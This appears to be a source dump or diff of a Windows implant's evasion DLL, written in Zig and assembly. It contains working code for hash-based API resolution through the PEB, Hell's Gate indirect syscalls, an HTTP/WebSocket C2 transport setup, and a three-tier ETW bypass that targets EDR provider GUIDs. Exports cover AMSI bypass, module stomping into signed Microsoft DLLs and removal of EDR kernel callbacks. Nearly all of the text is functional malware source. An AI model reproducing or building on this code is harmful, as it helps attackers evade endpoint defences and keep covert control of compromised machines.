if (resolve.resolve_api(k32_hash, hash_ror13("ExitProcess"))) |p| {
exec_exit_process = @ptrCast(p);
}
}
if (exec_initialize_proc_thread_attribute_list == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("InitializeProcThreadAttributeList"))) |p| {
exec_initialize_proc_thread_attribute_list = @ptrCast(p);
}
}
if (exec_update_proc_thread_attribute == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("UpdateProcThreadAttribute"))) |p| {
exec_update_proc_thread_attribute = @ptrCast(p);
}
}
if (exec_delete_proc_thread_attribute_list == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("DeleteProcThreadAttributeList"))) |p| {
exec_delete_proc_thread_attribute_list = @ptrCast(p);
}
}
if (exec_create_file_a == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("CreateFileA"))) |p| {
exec_create_file_a = @ptrCast(p);
}
}
if (exec_write_file == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("WriteFile"))) |p| {
exec_write_file = @ptrCast(p);
}
}
if (exec_open_process_token == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("OpenProcessToken"))) |p| {
exec_open_process_token = @ptrCast(p);
}
}
if (exec_duplicate_token_ex == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("DuplicateTokenEx"))) |p| {
exec_duplicate_token_ex = @ptrCast(p);
}
}
if (exec_create_process_with_token_w == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("CreateProcessWithTokenW"))) |p| {
exec_create_process_with_token_w = @ptrCast(p);
}
}
if (exec_create_pseudo_console == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("CreatePseudoConsole"))) |p| {
exec_create_pseudo_console = @ptrCast(p);
}
}
if (exec_close_pseudo_console == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("ClosePseudoConsole"))) |p| {
exec_close_pseudo_console = @ptrCast(p);
}
}
if (exec_create_thread == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("CreateThread"))) |p| {
exec_create_thread = @ptrCast(p);
}
}
if (exec_initialize_critical_section == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("InitializeCriticalSection"))) |p| {
exec_initialize_critical_section = @ptrCast(p);
}
}
if (exec_enter_critical_section == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("EnterCriticalSection"))) |p| {
exec_enter_critical_section = @ptrCast(p);
}
}
if (exec_leave_critical_section == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("LeaveCriticalSection"))) |p| {
exec_leave_critical_section = @ptrCast(p);
}
}
if (exec_delete_critical_section == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("DeleteCriticalSection"))) |p| {
exec_delete_critical_section = @ptrCast(p);
}
}
if (comms_load_library_a == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryA"))) |p| {
comms_load_library_a = @ptrCast(p);
bof_load_library_a = @ptrCast(p);
}
}
if (info_get_computer_name_a == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetComputerNameA"))) |p| {
info_get_computer_name_a = @ptrCast(p);
}
}
if (info_get_user_name_a == null) {
if (comms_load_library_a) |la| {
_ = la("advapi32.dll");
}
if (resolve.resolve_api(k32_hash, hash_ror13("GetUserNameA"))) |p| {
info_get_user_name_a = @ptrCast(p);
}
}
if (info_get_system_info == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetSystemInfo"))) |p| {
info_get_system_info = @ptrCast(p);
}
}
if (info_get_current_process_id == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentProcessId"))) |p| {
info_get_current_process_id = @ptrCast(p);
}
}
if (info_get_system_time == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetSystemTime"))) |p| {
info_get_system_time = @ptrCast(p);
}
}
if (fiber_ConvertThreadToFiber == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("ConvertThreadToFiber"))) |p| {
fiber_ConvertThreadToFiber = @ptrCast(p);
}
}
if (fiber_CreateFiber == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("CreateFiber"))) |p| {
fiber_CreateFiber = @ptrCast(p);
}
}
if (fiber_SwitchToFiber == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("SwitchToFiber"))) |p| {
fiber_SwitchToFiber = @ptrCast(p);
}
}
if (fiber_DeleteFiber == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("DeleteFiber"))) |p| {
fiber_DeleteFiber = @ptrCast(p);
}
}
if (fiber_ConvertFiberToThread == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("ConvertFiberToThread"))) |p| {
fiber_ConvertFiberToThread = @ptrCast(p);
}
}
if (sleep_VirtualQuery == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("VirtualQuery"))) |p| {
sleep_VirtualQuery = @ptrCast(p);
}
}
if (amsi_load_library_w == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryW"))) |p| amsi_load_library_w = @ptrCast(p);
}
if (etw_get_module_handle_w == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetModuleHandleW"))) |p| etw_get_module_handle_w = @ptrCast(p);
}
if (bof_get_proc_address == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetProcAddress"))) |p| {
bof_get_proc_address = @ptrCast(p);
amsi_get_proc_address = @ptrCast(p);
etw_get_proc_address = @ptrCast(p);
}
}
if (bof_get_module_handle_a == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetModuleHandleA"))) |p| bof_get_module_handle_a = @ptrCast(p);
}
if (bof_virtual_alloc == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("VirtualAlloc"))) |p| bof_virtual_alloc = @ptrCast(p);
}
if (bof_virtual_free == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("VirtualFree"))) |p| bof_virtual_free = @ptrCast(p);
}
if (bof_virtual_protect == null or sleep_VirtualProtect == null or etw_virtual_protect == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("VirtualProtect"))) |p| {
if (bof_virtual_protect == null) bof_virtual_protect = @ptrCast(p);
if (sleep_VirtualProtect == null) sleep_VirtualProtect = @ptrCast(p);
if (etw_virtual_protect == null) etw_virtual_protect = @ptrCast(p);
}
}
if (amsi_add_vectored_exception_handler == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("AddVectoredExceptionHandler"))) |p| amsi_add_vectored_exception_handler = @ptrCast(p);
}
if (amsi_get_current_thread == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentThread"))) |p| amsi_get_current_thread = @ptrCast(p);
}
if (amsi_set_thread_context == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("SetThreadContext"))) |p| amsi_set_thread_context = @ptrCast(p);
}
if (amsi_suspend_thread == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("SuspendThread"))) |p| amsi_suspend_thread = @ptrCast(p);
}
if (amsi_resume_thread == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("ResumeThread"))) |p| amsi_resume_thread = @ptrCast(p);
}
// HWBP globals — same APIs as AMSI, shared
if (hwbp_add_veh == null) hwbp_add_veh = amsi_add_vectored_exception_handler;
if (hwbp_get_thread == null) hwbp_get_thread = amsi_get_current_thread;
if (hwbp_set_thread_ctx == null) hwbp_set_thread_ctx = amsi_set_thread_context;
// 2k. ntdll.dll — RtlGetVersion, SystemFunction032 (RC4 sleep)
if (info_rtl_get_version == null) {
if (resolve.resolve_api(ntdll_hash, hash_ror13("RtlGetVersion"))) |p| info_rtl_get_version = @ptrCast(p);
}
if (sleep_SystemFunction032 == null) {
if (resolve.resolve_api(ntdll_hash, hash_ror13("SystemFunction032"))) |p| sleep_SystemFunction032 = @ptrCast(p);
}
// 2l. winhttp.dll — HTTP/WebSocket C2 transport. Lazy-loaded on first comms attempt.
if (comms_load_library_a != null and (comms_winhttp_open == null or comms_winhttp_connect == null or comms_winhttp_open_request == null or comms_winhttp_send_request == null or comms_winhttp_receive_response == null or comms_winhttp_read_data == null or comms_winhttp_websocket_complete_upgrade == null)) {
_ = comms_load_library_a.?("winhttp.dll");
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpOpen"))) |p| comms_winhttp_open = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpConnect"))) |p| comms_winhttp_connect = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpOpenRequest"))) |p| comms_winhttp_open_request = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpSetOption"))) |p| comms_winhttp_set_option = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpSendRequest"))) |p| comms_winhttp_send_request = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpReceiveResponse"))) |p| comms_winhttp_receive_response = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpReadData"))) |p| comms_winhttp_read_data = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpCloseHandle"))) |p| comms_winhttp_close_handle = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpAddRequestHeaders"))) |p| comms_winhttp_add_request_headers = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpQueryDataAvailable"))) |p| comms_winhttp_query_data_available = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketCompleteUpgrade"))) |p| comms_winhttp_websocket_complete_upgrade = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketSend"))) |p| comms_winhttp_websocket_send = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketReceive"))) |p| comms_winhttp_websocket_receive = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketClose"))) |p| comms_winhttp_websocket_close = @ptrCast(p);
}
// 2i continued. advapi32 — LookupPrivilegeValueW, AdjustTokenPrivileges
const advapi_hash = hash_ror13("advapi32.dll");
if (priv_get_current_process == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentProcess"))) |p| priv_get_current_process = @ptrCast(p);
}
if (priv_lookup_privilege_value_w == null or priv_adjust_token_privileges == null) {
_ = resolve.get_module_by_hash(advapi_hash);
if (resolve.resolve_api(advapi_hash, hash_ror13("LookupPrivilegeValueW"))) |p| priv_lookup_privilege_value_w = @ptrCast(p);
if (resolve.resolve_api(advapi_hash, hash_ror13("AdjustTokenPrivileges"))) |p| priv_adjust_token_privileges = @ptrCast(p);
}
// 2m. bcrypt.dll — full ECDH + AES-GCM crypto suite. Loaded on first encrypt/decrypt.
if (crypto_bcrypt_open == null) {
if (resolve.get_module_by_hash(bcrypt_hash) == null) {
if (comms_load_library_a) |la| _ = la("bcrypt.dll");
}
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptOpenAlgorithmProvider"))) |p| crypto_bcrypt_open = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptCloseAlgorithmProvider"))) |p| crypto_bcrypt_close = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptSetProperty"))) |p| crypto_bcrypt_set_prop = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptGenerateSymmetricKey"))) |p| crypto_bcrypt_gen_key = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDestroyKey"))) |p| crypto_bcrypt_destroy_key = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptEncrypt"))) |p| crypto_bcrypt_encrypt = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDecrypt"))) |p| crypto_bcrypt_decrypt = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptGenRandom"))) |p| crypto_bcrypt_gen_random = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptGenerateKeyPair"))) |p| crypto_bcrypt_gen_key_pair = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptFinalizeKeyPair"))) |p| crypto_bcrypt_finalize_key_pair = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptExportKey"))) |p| crypto_bcrypt_export_key = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptImportKeyPair"))) |p| crypto_bcrypt_import_key_pair = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptSecretAgreement"))) |p| crypto_bcrypt_secret_agreement = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDeriveKey"))) |p| crypto_bcrypt_derive_key = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDestroySecret"))) |p| crypto_bcrypt_destroy_secret = @ptrCast(p);
}
}
+26
View File
@@ -0,0 +1,26 @@
.intel_syntax noprefix
.data
wSystemCallEnc: .long 0
qSyscallInsAddressEnc: .quad 0
wMask: .long 0xDEADBEEF
qMask: .quad 0xDEADBEEFDEADBEEF
.text
.global hells_gate
.global hell_descent
hells_gate:
xor ecx, dword ptr [rip + wMask]
mov dword ptr [rip + wSystemCallEnc], ecx
xor rdx, qword ptr [rip + qMask]
mov qword ptr [rip + qSyscallInsAddressEnc], rdx
ret
hell_descent:
mov r10, rcx
mov eax, dword ptr [rip + wSystemCallEnc]
xor eax, dword ptr [rip + wMask]
mov r11, qword ptr [rip + qSyscallInsAddressEnc]
xor r11, qword ptr [rip + qMask]
jmp r11
+38
View File
@@ -0,0 +1,38 @@
// 1. Target config — x86_64-windows-gnu, optimised+stripped (unless Debug).
// 2. Single-threaded — no TLS, Zig runtime stays minimal.
// 3. Assembly: arch/hells_gate.s — Hell's Gate SSN encryption + Hell Descent arg dispatch.
// 4. Link system DLLs: kernel32, ntdll, advapi32, crypt32 (Go handles the rest via manual map).
// 5. Output: valak.dll — Go's reflective loader copies this from zig-out/bin/ to implant/core/.
const std = @import("std");
pub fn build(b: *std.Build) void {
const target = b.standardTargetOptions(.{ .default_target = .{
.cpu_arch = .x86_64,
.os_tag = .windows,
.abi = .gnu,
} });
const optimize = b.standardOptimizeOption(.{});
const strip = optimize != .Debug;
const module = b.createModule(.{
.root_source_file = b.path("main.zig"),
.target = target,
.optimize = optimize,
.strip = strip,
.single_threaded = true,
});
module.addAssemblyFile(b.path("arch/hells_gate.s"));
module.linkSystemLibrary("kernel32", .{});
module.linkSystemLibrary("ntdll", .{});
module.linkSystemLibrary("advapi32", .{});
module.linkSystemLibrary("crypt32", .{});
const lib = b.addLibrary(.{
.name = "valak",
.root_module = module,
.linkage = .dynamic,
});
lib.subsystem = .Windows;
b.installArtifact(lib);
}
+114
View File
@@ -0,0 +1,114 @@
// 3. ETW suppression — three-tier fallback.
// HWBP method reference: https://github.com/FortisecValidation/Micro-Stager
// 1. Global patch state + HWBP VEH handle + EtwEventWrite address cache.
// 2. etw_hwbp_handler — SINGLE_STEP at EtwEventWrite → skip the call, return clean.
// 3. try_hwbp_etw_bypass — installs VEH + DR0 breakpoint (no memory modification).
// 4. EDR provider GUIDs — Microsoft-Windows-Threat-Intelligence, Kernel-Process, Mitigations.
// 5. patch_etw — three-tier: NtTraceControl provider stop → HWBP → RET patch (last resort).
// First two avoid memory modifications; RET patch fires if everything else failed.
const std = @import("std");
const win = @import("win32.zig");
const api = @import("api.zig");
const resolve = @import("resolve.zig");
const syscall = @import("syscall.zig");
var g_etw_patched: bool = false;
var g_etw_hwbp_veh: ?*anyopaque = null;
var g_etw_event_write_addr: ?*anyopaque = null;
// Vectored exception handler for the HWBP method. When EtwEventWrite is hit, the CPU
// raises a single-step exception. We skip the call by forwarding RIP past it.
fn etw_hwbp_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG {
if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and
ex.ExceptionRecord.ExceptionAddress == g_etw_event_write_addr)
{
// Skip EtwEventWrite: set RIP to return address on stack, pop it
const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*;
ex.ContextRecord.Rip = ret_addr;
ex.ContextRecord.Rsp += 8;
return win.EXCEPTION_CONTINUE_EXECUTION;
}
return win.EXCEPTION_CONTINUE_SEARCH;
}
// Installs a VEH + hardware breakpoint on EtwEventWrite. No memory is modified — the BP
// is in a debug register, the handler skips the call. EDRs can't see the patch.
fn try_hwbp_etw_bypass(ntdll: *anyopaque) bool {
const get_addr = api.etw_get_proc_address orelse return false;
var etw_write = get_addr(ntdll, "EtwEventWrite");
if (etw_write == null) etw_write = get_addr(ntdll, "EtwEventWriteFull");
if (etw_write == null) return false;
g_etw_event_write_addr = etw_write;
const veh = api.hwbp_add_veh orelse return false;
const cur_thread = api.hwbp_get_thread orelse return false;
const set_ctx = api.hwbp_set_thread_ctx orelse return false;
g_etw_hwbp_veh = veh(1, etw_hwbp_handler);
if (g_etw_hwbp_veh == null) return false;
const thread = cur_thread();
var ctx = std.mem.zeroes(win.CONTEXT);
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
ctx.Dr0 = @intFromPtr(g_etw_event_write_addr.?);
ctx.Dr7 = (1 << 0);
_ = set_ctx(thread, &ctx);
return true;
}
// Known EDR ETW provider GUIDs. Stopping these silences telemetry from Windows Defender,
// MDE, and kernel-level process/syscall monitoring providers.
const edr_provider_guids = [_][16]u8{
// Microsoft-Windows-Threat-Intelligence
.{ 0x7C, 0x89, 0xE1, 0xF4, 0x5D, 0xBB, 0x68, 0x56, 0xF1, 0xD8, 0x04, 0x0F, 0x4D, 0x8D, 0xD3, 0x44 },
// Microsoft-Windows-Kernel-Process
.{ 0xD6, 0x2C, 0xFB, 0x22, 0x7B, 0x0E, 0x2B, 0x42, 0xA0, 0xC7, 0x2F, 0xAD, 0x1F, 0xD0, 0xE7, 0x16 },
// Microsoft-Windows-Security-Mitigations
.{ 0x28, 0xEF, 0xE5, 0xFA, 0xE9, 0x8C, 0xEB, 0x5D, 0x44, 0xEB, 0x74, 0xE7, 0xDA, 0xAC, 0x1E, 0xDF },
};
// Three-tier fallback: stop EDR providers via NtTraceControl → hardware breakpoint on
// EtwEventWrite → RET patch as absolute last resort. Each tier avoids memory modification
// until the previous one fails. Returns early if already patched.
pub fn patch_etw() void {
if (g_etw_patched) return;
api.ensure();
_ = syscall.init_syscall();
// Tier 1: Stop known EDR ETW providers via NtTraceControl
var stopped_any = false;
for (&edr_provider_guids) |*guid| {
var ret_len: win.ULONG = 0;
const st = syscall.nt_trace_control(2, @constCast(guid), 16, null, 0, &ret_len);
if (win.NT_SUCCESS(st)) {
stopped_any = true;
}
}
if (stopped_any) {
g_etw_patched = true;
return;
}
const ntdll = resolve.get_module_by_hash(resolve.hash_ror13("ntdll.dll")) orelse return;
// Tier 2: Hardware breakpoint bypass — no memory modification
if (try_hwbp_etw_bypass(ntdll)) {
g_etw_patched = true;
return;
}
// Tier 3: RET patch fallback — writes 0xC3 into EtwEventWrite's first byte
const get_addr = api.etw_get_proc_address orelse return;
const vp = api.etw_virtual_protect orelse return;
var etw_write = get_addr(ntdll, "EtwEventWrite");
if (etw_write == null) etw_write = get_addr(ntdll, "EtwEventWriteFull");
if (etw_write) |addr| {
var old: win.DWORD = 0;
_ = vp(addr, 1, win.PAGE_EXECUTE_READWRITE, &old);
@as(*volatile u8, @ptrCast(addr)).* = 0xC3;
_ = vp(addr, 1, old, &old);
}
g_etw_patched = true;
}
+58
View File
@@ -0,0 +1,58 @@
// 1. ensure() — resolve APIs + init syscall gadgets. Called before every export.
// 2. init_evasion() — called by Go reflective loader after DllMain.
// 3. patch_etw() — three-tier ETW: NtTraceControl → HWBP → RET patch.
// 4. patch_amsi() — HWBP on AmsiScanBuffer, no bytes modified.
// 5. stomp_evasion(base) — copy .text into signed MS DLL, wipe headers. base from Go.
// 6. is_relocated() — true if stomp moved us (Go uses this for honest logs).
// 7. remove_edr_callbacks() — NtSetInformationProcess(InfoClass=40) clears EDR callbacks.
const std = @import("std");
const win = @import("win32.zig");
const api = @import("api.zig");
const syscall = @import("syscall.zig");
const amsi = @import("amsi.zig");
const etw = @import("etw.zig");
const stomp = @import("stomp.zig");
var g_initialized: bool = false;
// 1. one-time setup — resolves all API pointers and scans ntdll for syscall gadgets.
fn ensure() void {
if (g_initialized) return;
g_initialized = true;
api.ensure();
_ = syscall.init_syscall();
}
// 2. called by the Go loader after DllMain.
export fn init_evasion() void {
ensure();
}
// 3. three-tier — tries NtTraceControl first, then HWBP, then RET patch as last resort.
export fn patch_etw() void {
ensure();
etw.patch_etw();
}
// 4. hardware breakpoint on AmsiScanBuffer — no bytes touched in amsi.dll.
export fn patch_amsi() void {
ensure();
amsi.patch_amsi();
}
// 5. copies our .text into a signed Microsoft DLL, wipes our PE headers. base comes from Go.
export fn stomp_evasion(base: ?*anyopaque) void {
ensure();
_ = stomp.stomp_module(base);
}
// 6. returns true if stomp actually relocated us — Go uses this to be honest in logs.
export fn is_relocated() bool {
return stomp.g_evasion_relocated;
}
// 7. clears EDR kernel callbacks via NtSetInformationProcess(InfoClass=40). runs last.
export fn remove_edr_callbacks() void {
ensure();
syscall.remove_edr_callbacks();
}
+111
View File
@@ -0,0 +1,111 @@
// 1. IMAGE_DOS_HEADER — DOS MZ magic + e_lfanew offset.
// 2. IMAGE_FILE_HEADER — section count, machine type, timestamps.
// 3. IMAGE_DATA_DIRECTORY — export/import/etc directory RVAs.
// 4. IMAGE_OPTIONAL_HEADER64 — SizeOfImage@56 (not 36 — that bit us for hours).
// 5. IMAGE_SECTION_HEADER — .text, .data, .rdata layout per section.
// 6. IMAGE_EXPORT_DIRECTORY — name/function/ordinal tables for PE export parsing.
// 7. IMAGE_NT_HEADERS64 — signature + file_header + optional_header (the NT header triad).
pub const IMAGE_DOS_HEADER = extern struct {
e_magic: u16,
e_cblp: u16,
e_cp: u16,
e_crlc: u16,
e_cparhdr: u16,
e_minalloc: u16,
e_maxalloc: u16,
e_ss: u16,
e_sp: u16,
e_csum: u16,
e_ip: u16,
e_cs: u16,
e_lfarlc: u16,
e_ovno: u16,
e_res: [4]u16,
e_oemid: u16,
e_oeminfo: u16,
e_res2: [10]u16,
e_lfanew: i32,
};
pub const IMAGE_FILE_HEADER = extern struct {
Machine: u16,
NumberOfSections: u16,
TimeDateStamp: u32,
PointerToSymbolTable: u32,
NumberOfSymbols: u32,
SizeOfOptionalHeader: u16,
Characteristics: u16,
};
pub const IMAGE_DATA_DIRECTORY = extern struct {
VirtualAddress: u32,
Size: u32,
};
pub const IMAGE_OPTIONAL_HEADER64 = extern struct {
Magic: u16,
MajorLinkerVersion: u8,
MinorLinkerVersion: u8,
SizeOfCode: u32,
SizeOfInitializedData: u32,
SizeOfUninitializedData: u32,
AddressOfEntryPoint: u32,
BaseOfCode: u32,
ImageBase: u64,
SectionAlignment: u32,
FileAlignment: u32,
MajorOperatingSystemVersion: u16,
MinorOperatingSystemVersion: u16,
MajorImageVersion: u16,
MinorImageVersion: u16,
MajorSubsystemVersion: u16,
MinorSubsystemVersion: u16,
Win32VersionValue: u32,
SizeOfImage: u32,
SizeOfHeaders: u32,
CheckSum: u32,
Subsystem: u16,
DllCharacteristics: u16,
SizeOfStackReserve: u64,
SizeOfStackCommit: u64,
SizeOfHeapReserve: u64,
SizeOfHeapCommit: u64,
LoaderFlags: u32,
NumberOfRvaAndSizes: u32,
DataDirectory: [16]IMAGE_DATA_DIRECTORY,
};
pub const IMAGE_SECTION_HEADER = extern struct {
Name: [8]u8,
VirtualSize: u32,
VirtualAddress: u32,
SizeOfRawData: u32,
PointerToRawData: u32,
PointerToRelocations: u32,
PointerToLinenumbers: u32,
NumberOfRelocations: u16,
NumberOfLinenumbers: u16,
Characteristics: u32,
};
pub const IMAGE_EXPORT_DIRECTORY = extern struct {
Characteristics: u32,
TimeDateStamp: u32,
MajorVersion: u16,
MinorVersion: u16,
Name: u32,
Base: u32,
NumberOfFunctions: u32,
NumberOfNames: u32,
AddressOfFunctions: u32,
AddressOfNames: u32,
AddressOfNameOrdinals: u32,
};
pub const IMAGE_NT_HEADERS64 = extern struct {
Signature: u32,
FileHeader: IMAGE_FILE_HEADER,
OptionalHeader: IMAGE_OPTIONAL_HEADER64,
};
+201
View File
@@ -0,0 +1,201 @@
// PEB-based module and function resolution. No static imports — everything resolved at runtime.
// 1. Loader structs — LIST_ENTRY → PEB_LDR_DATA → LDR_DATA_TABLE_ENTRY (DllBase, name, size).
// 2. PEB (GS:[0x60]) + hash_ror13 — case-insensitive, same algo as Hell's Gate manual-map tooling.
// 3. get_peb() — inline asm to read GS:[0x60], returns PEB pointer.
// 4. get_module_by_hash — walk InMemoryOrderModuleList, match by ror13 hash.
// 5. resolve_forward_string — chase "DLL.func" forwarded exports through chain of modules.
// 6. get_func_by_hash — parse IMAGE_EXPORT_DIRECTORY, handle forwarded exports.
// 7. resolve_api — three-tier: specific module → kernel32 cache → ntdll cache → full PEB walk.
const std = @import("std");
const win = @import("win32.zig");
const pe = @import("pe.zig");
// Doubly-linked list node used by Windows loader structures.
// PEB_LDR_DATA chains these to track loaded modules in three orderings.
pub const LIST_ENTRY = extern struct {
Flink: *LIST_ENTRY,
Blink: *LIST_ENTRY,
};
// Loader data block hung off the PEB. Each module list is a circular linked list
// of LDR_DATA_TABLE_ENTRY nodes. InMemoryOrder is the safest to walk — InLoadOrder
// can race during DLL load/unload on other threads.
pub const PEB_LDR_DATA = extern struct {
Length: win.ULONG,
Initialized: win.BYTE,
Padding: [3]win.BYTE,
SsHandle: win.LPVOID,
InLoadOrderModuleList: LIST_ENTRY,
InMemoryOrderModuleList: LIST_ENTRY,
InInitializationOrderModuleList: LIST_ENTRY,
};
// One entry per loaded module. Contains the DLL base, image size, and its name.
// The InMemoryOrderLinks list_entry is embedded at a known offset from the struct start —
// we subtract that offset to get back to the full LDR_DATA_TABLE_ENTRY.
pub const LDR_DATA_TABLE_ENTRY = extern struct {
InLoadOrderLinks: LIST_ENTRY,
InMemoryOrderLinks: LIST_ENTRY,
InInitializationOrderLinks: LIST_ENTRY,
DllBase: win.LPVOID,
EntryPoint: win.LPVOID,
SizeOfImage: win.ULONG,
FullDllName: win.UNICODE_STRING,
BaseDllName: win.UNICODE_STRING,
};
// The Process Environment Block lives at GS:0x60 on x64.
// Only the fields we actually touch are defined — the real struct is much larger.
pub const PEB = extern struct {
Reserved1: [2]win.BYTE,
BeingDebugged: win.BYTE,
Reserved2: [1]win.BYTE,
Reserved3: [2]win.LPVOID,
Ldr: *PEB_LDR_DATA,
};
// ror13 hash of a module or function name. Case-insensitive — uppercases each byte before mixing.
// Same algorithm used by Hell's Gate and other manual-map tooling for consistency.
pub fn hash_ror13(input: []const u8) u32 {
var hash: u32 = 0;
for (input) |c| {
var c_upper = c;
if (c_upper >= 'a' and c_upper <= 'z') c_upper -= 32;
hash = (hash >> 13) | (hash << 19);
hash +%= c_upper;
}
return hash;
}
// Reads GS:[0x60] to return the PEB pointer.
pub fn get_peb() *PEB {
const ptr: usize = asm volatile ("mov %%gs:0x60, %[ptr]"
: [ptr] "=r" (-> usize),
);
return @as(*PEB, @ptrFromInt(ptr));
}
// Walks InMemoryOrderModuleList looking for a DLL whose ror13-hashed BaseDllName matches.
// Returns the module's base address or null if not found.
pub fn get_module_by_hash(hash: u32) ?*anyopaque {
const peb_ptr = get_peb();
const ldr = peb_ptr.Ldr;
// Walk the circular linked list starting from InMemoryOrderModuleList
const head = @as(*LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList));
var entry = head.Flink;
while (entry != head) : (entry = entry.Flink) {
// Subtract the offset of InMemoryOrderLinks to get back to the LDR_DATA_TABLE_ENTRY
const le: *LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks")))));
if (le.BaseDllName.Length == 0) continue;
const buf = le.BaseDllName.Buffer;
const len = le.BaseDllName.Length / 2;
var mod_hash: u32 = 0;
var i: usize = 0;
while (i < len) : (i += 1) {
var c = buf[i];
if (c >= 'a' and c <= 'z') c -= 32;
mod_hash = (mod_hash >> 13) | (mod_hash << 19);
mod_hash +%= @as(u32, c);
}
if (mod_hash == hash) return le.DllBase;
}
return null;
}
// Follows a forwarded export string ("module.function") to resolve the real target.
// Splits on the dot, hashes both halves, looks up the module, then the function within it.
fn resolve_forward_string(base_bytes: [*]u8, forward_rva: u32) ?*anyopaque {
const forward_str = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(forward_rva)))));
const str = std.mem.sliceTo(forward_str, 0);
const dot_pos = std.mem.indexOfScalar(u8, str, '.') orelse return null;
const dll_hash = hash_ror13(str[0..dot_pos]);
const func_hash = hash_ror13(str[dot_pos + 1 ..]);
const dll_base = get_module_by_hash(dll_hash) orelse return null;
return get_func_by_hash(dll_base, func_hash);
}
// Parses a module's export directory, hashes each exported name, and returns the matching
// function address. Handles forwarded exports (looking-glass exports that redirect to another DLL).
pub fn get_func_by_hash(base: *anyopaque, func_hash: u32) ?*anyopaque {
const base_bytes = @as([*]u8, @ptrCast(base));
const dos = @as(*pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(base_bytes)));
if (dos.e_magic != 0x5A4D) return null;
const nt = @as(*pe.IMAGE_NT_HEADERS64, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
if (nt.Signature != 0x00004550) return null;
